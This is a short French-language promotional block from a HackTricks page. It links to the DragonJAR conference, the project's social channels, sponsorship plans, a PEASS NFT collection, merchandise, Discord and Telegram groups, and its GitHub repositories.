{% embed url="https://www.dragonjarcon.org/" %}

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>